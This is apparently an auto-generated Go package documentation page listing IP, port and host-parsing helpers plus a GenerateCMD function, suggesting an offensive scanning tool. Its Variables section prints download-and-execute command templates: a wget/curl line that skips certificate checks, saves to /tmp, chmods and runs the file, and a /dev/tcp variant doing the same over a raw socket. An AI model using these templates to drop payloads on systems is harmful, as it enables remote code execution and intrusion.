Documentation
¶
Index ¶
- Variables
- func GenerateCMD(cmdtype string, loader common.Downloader) (cmd string)
- func IPRange(c *net.IPNet) string
- func IsContain(items []string, item string) bool
- func ParseIP(host, filename, noscan string) (hosts []string, err error)
- func ParseIPs(ip string) (hosts []string)
- func ParsePort(ports string) (scanPorts []int)
- func RandString(n int) string
- func Readipfile(filename string) ([]string, error)
- func RemoveDuplicate(old []string) []string
Constants ¶
This section is empty.
Variables ¶
View Source
var ( UnixDownloader = "wget --no-check-certificate %s -O /tmp/%s || curl -k %s -o /tmp/%s && chmod +x /tmp/%s && /tmp/%s" TCPDownloader = "exec 88<>/dev/tcp/%s && printf \"%s\\n\" >&88 && cat <&88 > /tmp/%s && chmod +x /tmp/%s && /tmp/%s" WinDownloader = "" /* 250-byte string literal not displayed */ )
View Source
var ParseIPErr = errors.New(" host parsing error\n" +
"format: \n" +
"192.168.1.1\n" +
"192.168.1.1/8\n" +
"192.168.1.1/16\n" +
"192.168.1.1/24\n" +
"192.168.1.1,192.168.1.2\n" +
"192.168.1.1-192.168.255.255\n" +
"192.168.1.1-255")
Functions ¶
func GenerateCMD ¶
func GenerateCMD(cmdtype string, loader common.Downloader) (cmd string)
func RandString ¶
Types ¶
This section is empty.
Click to show internal directories.
Click to hide internal directories.